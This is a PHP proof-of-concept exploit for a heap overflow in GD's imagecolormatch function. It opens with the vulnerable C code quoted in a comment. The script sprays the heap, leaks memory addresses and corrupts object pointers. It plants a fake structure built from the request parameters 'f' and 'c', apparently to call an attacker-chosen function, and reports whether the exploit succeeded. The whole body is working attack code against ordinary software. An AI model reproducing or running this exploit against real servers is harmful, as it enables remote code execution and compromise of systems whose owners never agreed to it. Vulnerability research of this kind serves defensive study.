<?php
/*
buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);
for (x=0; x<im1->sx; x++) {
for( y=0; y<im1->sy; y++ ) {
color = im2->pixels[y][x];
rgb = im1->tpixels[y][x];
bp = buf + (color * 5);
(*(bp++))++;
*(bp++) += gdTrueColorGetRed(rgb);
*(bp++) += gdTrueColorGetGreen(rgb);
*(bp++) += gdTrueColorGetBlue(rgb);
*(bp++) += gdTrueColorGetAlpha(rgb);
}
The buffer is written to by means of a color being the index:
color = im2->pixels[y][x];
..
bp = buf + (color * 5);
*/
error_reporting(E_ALL);
define('OFFSET_STR_VAL', 0x18);
define('BYTES_PER_COLOR', 0x28);
class Nenuphar extends DOMNode
{
function __construct()
{
$this->x = '1';
}
function __get($x)
{
return $this->$x;
}
}
class Nenuphar2 extends DOMNode
{
function __construct()
{
$this->x = '2';
}
function __get($x)
{
return $this->$x;
}
}
function ptr2str($ptr, $m=8)
{
$out = "";
for ($i=0; $i<$m; $i++)
{
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function str2ptr(&$str, $p, $s=8)
{
$address = 0;
for($j=$p+$s-1;$j>=$p;$j--)
{
$address <<= 8;
$address |= ord($str[$j]);
}
return $address;
}
for($i=0;$i<100;$i++)
${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);
for($i=0;$i<100;$i++)
${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL);
$nb_colors = 12;
$size_buf = $nb_colors * BYTES_PER_COLOR;
$img1 = imagecreatetruecolor(1, 1);
$color = imagecolorallocate($img1, 0xFF, 0, 0);
imagefill($img1, 0, 0, $color);
$img2 = imagecreate(1, 1);
for($i=0;$i<$nb_colors;$i++)
imagecolorallocate($img2, 0, 0, $i);
imagesetpixel($img2, 0, 0, $nb_colors + 1);
$z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL);
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);
unset($z);
imagecolormatch($img1, $img2);
unset($y);
$z_address = str2ptr($x, 488) + OFFSET_STR_VAL;
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
$z =
ptr2str(1) .
ptr2str(0) .
ptr2str($z_address + 0x38) .
ptr2str(1, 4) .
ptr2str(1, 4) .
ptr2str(0, 4) .
ptr2str(0, 4) .
ptr2str(0x4242424242424242) .
ptr2str(hexdec($_REQUEST['f'])) .
str_pad($_REQUEST['c'], 0x100, "\x00") .
ptr2str(0, strlen($y) - 0x38 - 0x100);
;
$nb_colors = 2;
$size_buf = $nb_colors * BYTES_PER_COLOR;
$img1 = imagecreatetruecolor(1, 1);
$color = imagecolorallocate($img1, 0, 0xFF, 0);
imagefill($img1, 0, 0, $color);
$img2 = imagecreate(1, 1);
for($i=0;$i<$nb_colors;$i++)
imagecolorallocate($img2, 0, 0, $i);
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8);
$nenuphar = new Nenuphar();
$nenuphar2 = new Nenuphar2();
imagesetpixel($img2, 0, 0, $nb_colors);
unset($y);
imagecolormatch($img1, $img2);
$ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
$ce2_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + $size_buf + 0x28);
$props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);
print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n");
print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\n");
print('Nenuphar.properties: 0x' . dechex($props_address) . "\n");
print('z.val: 0x' . dechex($z_address) . "\n");
print('Difference: 0x' . dechex($z_address-$props_address) . "\n");
if(
$ce2_address - $ce1_address < ($z_address-$props_address) / 0xff ||
$z_address - $props_address < 0
)
{
print('That won\'t work');
exit(0);
}
$color = imagecolorallocate($img1, 0, 0xFF, 0);
imagefill($img1, 0, 0, $color);
imagesetpixel($img2, 0, 0, $nb_colors + 3);
for($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF)
{
imagecolormatch($img1, $img2);
$ce1_address++;
}
$color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0);
imagefill($img1, 0, 0, $color);
$current = imagecolormatch($img1, $img2);
$ce1_address++;
$color = imagecolorallocate($img1, 0, 0, 0);
imagefill($img1, 0, 0, $color);
while($ce1_address++ < $ce2_address)
{
imagecolormatch($img1, $img2);
}
$new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
$new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);
if($new_ce1_address == $ce2_address && $new_props_address == $z_address)
{
print("\nExploit SUCCESSFUL !\n");
}
else
{
print('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . "\n");
print('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . "\n");
print("\nExploit FAILED !\n");
}